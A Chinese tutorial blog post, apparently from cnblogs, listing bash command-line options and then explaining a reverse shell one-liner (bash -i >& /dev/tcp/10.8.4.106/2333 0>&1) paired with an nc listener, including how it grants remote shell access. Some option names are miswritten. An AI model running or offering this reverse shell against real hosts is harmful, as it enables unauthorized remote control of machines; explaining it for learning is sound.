• 【BASH】常见功能及其用法


    前言

    bash 是一个为GNU计划编写的Unix shell。它的名字是一系列缩写:Bourne-Again SHell — 这是关于Bourne shell(sh)的一个双关语(Bourne again / born again)。

    参数

    参数 用法
    -c 若用-c参数,则bash从字符串中读入命令,如果字符串后还有变量就被设定为从$0开始的位置参数。
    -n 检查脚本是否正确,并不执行脚本
    -i 若用-i参数,则bash是交互的。
    -s 若用-s参数,则bash从标准输入中读入命令(在执行完-c带的命令之后。)直到输入exit。
    -x 执行脚本,输出执行过程,适合调试适用
    - 单一的号表明参数执行完毕,并且屏蔽此后所跟参数,后面的所有变量都被看作是文件名。
    -norc 如果bash是交互的,则不执行个人初始化文件:-/.bashrc,如果bash作为sh来运行,这个参数缺省是关闭的。
    -noprofile 不执行系统范围的启动文件/etc/profile也不执行个人的启动文件-/.bash_profile,-/.bash_login或-/.profile,缺省情况下,bash作为登录的shell时以这些文件作为启动文件。
    --refile 如果bash是交互的,则以此文件作为bash的启动文件。替代-/.bashrc。
    --version bash开始时显示版本号
    -quiet 不显示版本号和其他信息,缺省值
    -login 激活bash,伪装成登录shell
    -nolineediting 在交互状态下不使用GNU的readline库去读取命令。即取消了命令行编辑功能。
    -posix 改变bash的行为,使其符合Posix 1003.2规定的标准。

    例子

    bash -x -i >& /dev/tcp/10.8.4.106/2333 0>&1
    

    先了解下交互式bash的含义

    number value mean
    0 STDIN_FILENO 标准输入(键盘)
    1 STDOUT_FILENO 标准输出(控制台)
    2 STDERR_FILENO 标准错误
    • 2>&1&的意义,用来将标准错误2重定向到标准输出1中的。此处1前面的&就是为了让bash将1解释成标准输出而不是文件1。至于最后一个&,则是让bash在后台执行。
    • /dev/tcp/10.8.4.106/2333,这是一个特殊文件,它会建立一个连接到10.8.4.106:2333的socket
    • 命令的含义: bash -i创建一个交互式的bash,&>将bash的标准输出重定向到/dev/tcp/10.8.4.106/2333的socket连接上,0>&1将标准输入重定向到标准输出,最终的结果就是标准输入也被重定向到了TCP连接中,因此输入和输出都可以在公网主机上进行,通过TCP连接和bash进行交互。

    10.8.4.106

    nc -l 2333
    

    10.8.4.102

    bash -x -i >& /dev/tcp/10.8.4.106/2333 0>&1
    

    此时已经可以在106上已经有了102的bash权限,ls命令也可以查看目录信息等。(反射bash)

  • 相关阅读:
    asp.net中插件开发模式说明
    Url路径重写的原理
    Linux上搭建各种环境(一)
    常见Post提交数据方式接口测试
    Jmeter4.0----CSV Data Set Config_使用表格进行参数化(22)
    弱网测试----App
    性能测试基础
    使用fiddler实现手机抓包
    Jmeter4.0----发送邮箱之SMTP Sampler(21)
    Jmeter4.0----发送测试结果到邮箱之邮件观察仪(20)
  • 原文地址:https://www.cnblogs.com/gaoshaonian/p/14577449.html
Copyright © 2020-2023  润新知